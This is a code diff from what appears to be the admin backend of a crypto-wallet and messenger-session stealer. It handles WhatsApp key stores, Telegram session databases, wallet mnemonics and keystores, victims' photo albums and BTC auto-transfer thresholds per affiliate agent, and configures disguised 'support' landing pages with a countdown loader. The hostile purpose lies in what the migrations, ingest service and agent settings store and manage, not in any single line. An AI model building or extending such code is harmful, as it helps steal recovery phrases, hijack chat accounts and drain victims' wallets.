$phone = (int) $kind === PluginSession::KIND_WHATSAPP
|
||||||
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
||||||
: null;
|
: null;
|
||||||
|
|
||||||
|
$blob = $this->storePluginSessionFile($device, $kind, $account, $blob);
|
||||||
|
|
||||||
PluginSession::query()->updateOrCreate(
|
PluginSession::query()->updateOrCreate(
|
||||||
[
|
[
|
||||||
'device_id' => $device->id,
|
'device_id' => $device->id,
|
||||||
@@ -685,6 +692,23 @@ class IngestService
|
|||||||
'payload' => $blob,
|
'payload' => $blob,
|
||||||
],
|
],
|
||||||
);
|
);
|
||||||
|
$device->refreshImFlags();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Keep a summary in MySQL; write the full session JSON to disk.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $blob
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array
|
||||||
|
{
|
||||||
|
$path = PluginSession::payloadFilePath($kind, $device->device_id, $account);
|
||||||
|
$json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
$json = $json === false ? '{}' : $json;
|
||||||
|
Storage::disk('local')->put($path, $json);
|
||||||
|
|
||||||
|
return PluginSession::dbSummary($kind, $blob, $path, strlen($json));
|
||||||
}
|
}
|
||||||
|
|
||||||
private function scalarToString(mixed $value): ?string
|
private function scalarToString(mixed $value): ?string
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ return new class extends Migration
|
|||||||
$table->id();
|
$table->id();
|
||||||
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
$table->foreignId('device_id')->constrained('devices')->cascadeOnDelete();
|
||||||
$table->string('device_key', 64)->index();
|
$table->string('device_key', 64)->index();
|
||||||
$table->string('kind', 16)->index();
|
$table->unsignedTinyInteger('kind')->index();
|
||||||
$table->string('account_id', 128)->nullable()->index();
|
$table->string('account_id', 128)->nullable()->index();
|
||||||
$table->string('phone', 64)->nullable();
|
$table->string('phone', 64)->nullable();
|
||||||
$table->json('payload')->nullable();
|
$table->json('payload')->nullable();
|
||||||
@@ -59,7 +59,7 @@ return new class extends Migration
|
|||||||
if (! is_array($payload)) {
|
if (! is_array($payload)) {
|
||||||
$payload = [];
|
$payload = [];
|
||||||
}
|
}
|
||||||
$kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram';
|
$kind = $row->source === 'WhatsApp' ? 2 : 1;
|
||||||
$account = $this->accountFromPayload($kind, $payload);
|
$account = $this->accountFromPayload($kind, $payload);
|
||||||
$key = $row->device_id.'|'.$kind.'|'.$account;
|
$key = $row->device_id.'|'.$kind.'|'.$account;
|
||||||
if (isset($seen[$key])) {
|
if (isset($seen[$key])) {
|
||||||
@@ -82,9 +82,9 @@ return new class extends Migration
|
|||||||
DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete();
|
DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete();
|
||||||
}
|
}
|
||||||
|
|
||||||
private function accountFromPayload(string $kind, array $payload): string
|
private function accountFromPayload(int $kind, array $payload): string
|
||||||
{
|
{
|
||||||
$keys = $kind === 'whatsapp'
|
$keys = $kind === 2
|
||||||
? ['userId', 'user_id', 'account_id']
|
? ['userId', 'user_id', 'account_id']
|
||||||
: ['user_id', 'userId', 'account_id'];
|
: ['user_id', 'userId', 'account_id'];
|
||||||
foreach ($keys as $key) {
|
foreach ($keys as $key) {
|
||||||
@@ -96,9 +96,9 @@ return new class extends Migration
|
|||||||
return '';
|
return '';
|
||||||
}
|
}
|
||||||
|
|
||||||
private function phoneFromPayload(string $kind, array $payload): ?string
|
private function phoneFromPayload(int $kind, array $payload): ?string
|
||||||
{
|
{
|
||||||
if ($kind !== 'whatsapp') {
|
if ($kind !== 2) {
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
foreach (['userId', 'phoneId', 'phone'] as $key) {
|
foreach (['userId', 'phoneId', 'phone'] as $key) {
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('users', function (Blueprint $table) {
|
||||||
|
$table->boolean('album_storage_default')->default(false)->after('auto_transfer_threshold_btc');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('users', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('album_storage_default');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->boolean('has_whatsapp')->default(false)->after('wallet_names');
|
||||||
|
$table->boolean('has_telegram')->default(false)->after('has_whatsapp');
|
||||||
|
});
|
||||||
|
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$whatsappIds = DB::table('plugin_sessions')
|
||||||
|
->where('kind', PluginSession::KIND_WHATSAPP)
|
||||||
|
->distinct()
|
||||||
|
->pluck('device_id');
|
||||||
|
if ($whatsappIds->isNotEmpty()) {
|
||||||
|
DB::table('devices')->whereIn('id', $whatsappIds)->update(['has_whatsapp' => true]);
|
||||||
|
}
|
||||||
|
|
||||||
|
$telegramIds = DB::table('plugin_sessions')
|
||||||
|
->where('kind', PluginSession::KIND_TELEGRAM)
|
||||||
|
->distinct()
|
||||||
|
->pluck('device_id');
|
||||||
|
if ($telegramIds->isNotEmpty()) {
|
||||||
|
DB::table('devices')->whereIn('id', $telegramIds)->update(['has_telegram' => true]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->dropColumn(['has_whatsapp', 'has_telegram']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->index('created_at');
|
||||||
|
$table->index('updated_at');
|
||||||
|
$table->index(['created_at', 'has_wallet']);
|
||||||
|
});
|
||||||
|
|
||||||
|
Schema::table('page_visits', function (Blueprint $table) {
|
||||||
|
$table->index(['created_at', 'client_uid']);
|
||||||
|
$table->index(['created_at', 'os', 'os_version']);
|
||||||
|
});
|
||||||
|
|
||||||
|
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||||
|
$table->index('created_at');
|
||||||
|
});
|
||||||
|
|
||||||
|
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||||
|
$table->index('created_at');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('devices', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['created_at']);
|
||||||
|
$table->dropIndex(['updated_at']);
|
||||||
|
$table->dropIndex(['created_at', 'has_wallet']);
|
||||||
|
});
|
||||||
|
|
||||||
|
Schema::table('page_visits', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['created_at', 'client_uid']);
|
||||||
|
$table->dropIndex(['created_at', 'os', 'os_version']);
|
||||||
|
});
|
||||||
|
|
||||||
|
Schema::table('wallet_addresses', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['created_at']);
|
||||||
|
});
|
||||||
|
|
||||||
|
Schema::table('wallet_mnemonics', function (Blueprint $table) {
|
||||||
|
$table->dropIndex(['created_at']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ids = DB::table('plugin_sessions')
|
||||||
|
->where('kind', PluginSession::KIND_WHATSAPP)
|
||||||
|
->orderBy('id')
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
foreach ($ids as $id) {
|
||||||
|
$row = DB::table('plugin_sessions')->where('id', $id)->first();
|
||||||
|
if ($row === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$payload = json_decode((string) $row->payload, true);
|
||||||
|
if (! is_array($payload)) {
|
||||||
|
$payload = [];
|
||||||
|
}
|
||||||
|
if (isset($payload['payload_path']) && ! isset($payload['phoneKeyStore']) && ! isset($payload['clientStaticKeypairBase64'])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$path = PluginSession::whatsappFilePath((string) $row->device_key, $row->account_id !== null ? (string) $row->account_id : null);
|
||||||
|
$json = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
$json = $json === false ? '{}' : $json;
|
||||||
|
Storage::disk('local')->put($path, $json);
|
||||||
|
|
||||||
|
DB::table('plugin_sessions')->where('id', $id)->update([
|
||||||
|
'payload' => json_encode(
|
||||||
|
PluginSession::whatsappDbSummary($payload, $path, strlen($json)),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ids = DB::table('plugin_sessions')
|
||||||
|
->where('kind', PluginSession::KIND_WHATSAPP)
|
||||||
|
->orderBy('id')
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
foreach ($ids as $id) {
|
||||||
|
$row = DB::table('plugin_sessions')->where('id', $id)->first();
|
||||||
|
if ($row === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$payload = json_decode((string) $row->payload, true);
|
||||||
|
if (! is_array($payload)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$path = $payload['payload_path'] ?? null;
|
||||||
|
if (! is_string($path) || $path === '' || ! Storage::disk('local')->exists($path)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$raw = Storage::disk('local')->get($path);
|
||||||
|
$decoded = json_decode((string) $raw, true);
|
||||||
|
if (! is_array($decoded)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
DB::table('plugin_sessions')->where('id', $id)->update([
|
||||||
|
'payload' => json_encode($decoded, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ids = DB::table('plugin_sessions')
|
||||||
|
->where('kind', PluginSession::KIND_TELEGRAM)
|
||||||
|
->orderBy('id')
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
foreach ($ids as $id) {
|
||||||
|
$row = DB::table('plugin_sessions')->where('id', $id)->first();
|
||||||
|
if ($row === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$payload = json_decode((string) $row->payload, true);
|
||||||
|
if (! is_array($payload)) {
|
||||||
|
$payload = [];
|
||||||
|
}
|
||||||
|
if (isset($payload['payload_path']) && ! isset($payload['state']) && ! isset($payload['db_sqlite'])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$path = PluginSession::payloadFilePath(
|
||||||
|
PluginSession::KIND_TELEGRAM,
|
||||||
|
(string) $row->device_key,
|
||||||
|
$row->account_id !== null ? (string) $row->account_id : null
|
||||||
|
);
|
||||||
|
$json = json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||||
|
$json = $json === false ? '{}' : $json;
|
||||||
|
Storage::disk('local')->put($path, $json);
|
||||||
|
|
||||||
|
DB::table('plugin_sessions')->where('id', $id)->update([
|
||||||
|
'payload' => json_encode(
|
||||||
|
PluginSession::dbSummary(PluginSession::KIND_TELEGRAM, $payload, $path, strlen($json)),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES
|
||||||
|
),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ids = DB::table('plugin_sessions')
|
||||||
|
->where('kind', PluginSession::KIND_TELEGRAM)
|
||||||
|
->orderBy('id')
|
||||||
|
->pluck('id');
|
||||||
|
|
||||||
|
foreach ($ids as $id) {
|
||||||
|
$row = DB::table('plugin_sessions')->where('id', $id)->first();
|
||||||
|
if ($row === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$payload = json_decode((string) $row->payload, true);
|
||||||
|
if (! is_array($payload)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$path = $payload['payload_path'] ?? null;
|
||||||
|
if (! is_string($path) || $path === '' || ! Storage::disk('local')->exists($path)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
|
||||||
|
if (! is_array($decoded)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
DB::table('plugin_sessions')->where('id', $id)->update([
|
||||||
|
'payload' => json_encode($decoded, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$type = Schema::getColumnType('plugin_sessions', 'kind');
|
||||||
|
if (in_array($type, ['integer', 'tinyinteger', 'smallinteger', 'bigint'], true)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
DB::table('plugin_sessions')->where('kind', 'telegram')->update(['kind' => '1']);
|
||||||
|
DB::table('plugin_sessions')->where('kind', 'whatsapp')->update(['kind' => '2']);
|
||||||
|
|
||||||
|
$driver = Schema::getConnection()->getDriverName();
|
||||||
|
if ($driver === 'mysql') {
|
||||||
|
DB::statement('ALTER TABLE plugin_sessions MODIFY kind TINYINT UNSIGNED NOT NULL');
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Schema::table('plugin_sessions', function ($table) {
|
||||||
|
$table->unsignedTinyInteger('kind_tmp')->default(0)->after('device_key');
|
||||||
|
});
|
||||||
|
foreach (DB::table('plugin_sessions')->orderBy('id')->get() as $row) {
|
||||||
|
DB::table('plugin_sessions')->where('id', $row->id)->update([
|
||||||
|
'kind_tmp' => (int) $row->kind,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
Schema::table('plugin_sessions', function ($table) {
|
||||||
|
$table->dropIndex(['kind']);
|
||||||
|
$table->dropUnique(['device_id', 'kind', 'account_id']);
|
||||||
|
$table->dropColumn('kind');
|
||||||
|
});
|
||||||
|
Schema::table('plugin_sessions', function ($table) {
|
||||||
|
$table->renameColumn('kind_tmp', 'kind');
|
||||||
|
$table->index('kind');
|
||||||
|
$table->unique(['device_id', 'kind', 'account_id']);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
if (! Schema::hasTable('plugin_sessions')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$type = Schema::getColumnType('plugin_sessions', 'kind');
|
||||||
|
if ($type === 'string') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$driver = Schema::getConnection()->getDriverName();
|
||||||
|
if ($driver === 'mysql') {
|
||||||
|
DB::statement('ALTER TABLE plugin_sessions MODIFY kind VARCHAR(16) NOT NULL');
|
||||||
|
}
|
||||||
|
|
||||||
|
DB::table('plugin_sessions')->where('kind', 1)->update(['kind' => 'telegram']);
|
||||||
|
DB::table('plugin_sessions')->where('kind', 2)->update(['kind' => 'whatsapp']);
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -612,7 +612,7 @@ CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。
|
|||||||
|
|
||||||
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
|
- 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect
|
||||||
- 失败限流:同一账号+IP 约 5 次 / 60 秒
|
- 失败限流:同一账号+IP 约 5 次 / 60 秒
|
||||||
- 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定
|
- 可选 Google Authenticator:登录后「系统 → 谷歌验证」绑定
|
||||||
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
|
- 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip)
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -34,6 +34,12 @@
|
|||||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
<div class="layui-inline">
|
||||||
|
<label class="layui-form-label">地址</label>
|
||||||
|
<div class="layui-input-block">
|
||||||
|
<input type="text" name="address" class="layui-input" placeholder="钱包地址" autocomplete="off">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
@include('admin.partials.filter_agent_select')
|
@include('admin.partials.filter_agent_select')
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<label class="layui-form-label">来源</label>
|
<label class="layui-form-label">来源</label>
|
||||||
|
|||||||
@@ -75,6 +75,11 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
}},
|
}},
|
||||||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||||||
{ field: 'comment', title: '备注', minWidth: 100 },
|
{ field: 'comment', title: '备注', minWidth: 100 },
|
||||||
|
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
|
||||||
|
return Number(d.album_storage_default) === 1
|
||||||
|
? '<span style="color:#16a34a;">开</span>'
|
||||||
|
: '<span style="color:#888;">关</span>';
|
||||||
|
}},
|
||||||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||||
@@ -115,6 +120,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||||||
'</div></div>' +
|
'</div></div>' +
|
||||||
|
'<div class="layui-form-item"><label class="layui-form-label">相册存储</label><div class="layui-input-block">' +
|
||||||
|
'<input type="checkbox" name="album_storage_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.album_storage_default) === 1 ? 'checked' : '') + '>' +
|
||||||
|
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">该代理新设备默认是否开启相册存储,默认关;仅管理员可改</div>' +
|
||||||
|
'</div></div>' +
|
||||||
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
|
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
|
||||||
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
|
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
|
||||||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
|
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
|
||||||
@@ -164,8 +173,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
$('#LAY-agent-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
||||||
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
||||||
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
|
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
|
||||||
|
data.album_storage_default = $('#LAY-agent-form input[name=album_storage_switch]').is(':checked') ? 1 : 0;
|
||||||
delete data.status_switch;
|
delete data.status_switch;
|
||||||
delete data.auto_transfer_switch;
|
delete data.auto_transfer_switch;
|
||||||
|
delete data.album_storage_switch;
|
||||||
onOk(data, index);
|
onOk(data, index);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -195,61 +195,36 @@ layui.use(['table', 'form', 'layer'], function () {
|
|||||||
: '';
|
: '';
|
||||||
var channelBlock = creating
|
var channelBlock = creating
|
||||||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||||||
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 X.Y.ZZ">' +
|
'<input name="channel_id" class="layui-input" maxlength="6" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="例如 A.B.C1 或 3.1.07">' +
|
||||||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||||||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
||||||
|
|
||||||
var typeBlock = (isAdmin && creating)
|
|
||||||
? '<div class="layui-form-item"><label class="layui-form-label">类型</label><div class="layui-input-block">' +
|
|
||||||
'<select name="builder_type" lay-filter="LAY-ch-builder-type">' +
|
|
||||||
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
|
|
||||||
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
|
|
||||||
'</select>' +
|
|
||||||
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=/channel/X.Y.ZZ/(创建时自动构建,c 取自 XXBB_CHANNEL_C)</div></div></div>'
|
|
||||||
: '';
|
|
||||||
|
|
||||||
var templateBlock = (isAdmin && creating)
|
var templateBlock = (isAdmin && creating)
|
||||||
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
|
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
|
||||||
'<select name="support_template">' +
|
'<select name="support_template">' +
|
||||||
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
||||||
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
||||||
'</select>' +
|
'</select>' +
|
||||||
'<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
|
'<div class="layui-form-mid layui-word-aux">weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页。路径 /channel/X.Y.ZZ/(c 取自 XXBB_CHANNEL_C)</div></div></div>'
|
||||||
: '';
|
: '';
|
||||||
|
|
||||||
layer.open({
|
layer.open({
|
||||||
type: 1,
|
type: 1,
|
||||||
title: title,
|
title: title,
|
||||||
area: ['560px', creating ? (isAdmin ? '580px' : '380px') : '420px'],
|
area: ['560px', creating ? (isAdmin ? '500px' : '380px') : '420px'],
|
||||||
content: '<form class="layui-form" style="padding:16px;" id="LAY-ch-form" lay-filter="LAY-ch-form">' +
|
content: '<form class="layui-form" style="padding:16px;" id="LAY-ch-form" lay-filter="LAY-ch-form">' +
|
||||||
channelBlock + typeBlock + agentBlock + templateBlock +
|
channelBlock + agentBlock + templateBlock +
|
||||||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||||||
'<input name="remark" class="layui-input" value="' + (values.remark || '').replace(/"/g, '"') + '"></div></div>' +
|
'<input name="remark" class="layui-input" value="' + (values.remark || '').replace(/"/g, '"') + '"></div></div>' +
|
||||||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||||||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||||||
'</div></div>' +
|
'</div></div>' +
|
||||||
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新建将调用对应 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
|
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新建将调用新版 builder 生成静态资源。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
|
||||||
'</form>',
|
'</form>',
|
||||||
success: function () {
|
success: function () {
|
||||||
form.render();
|
form.render();
|
||||||
function syncTemplateVisibility() {
|
|
||||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
|
||||||
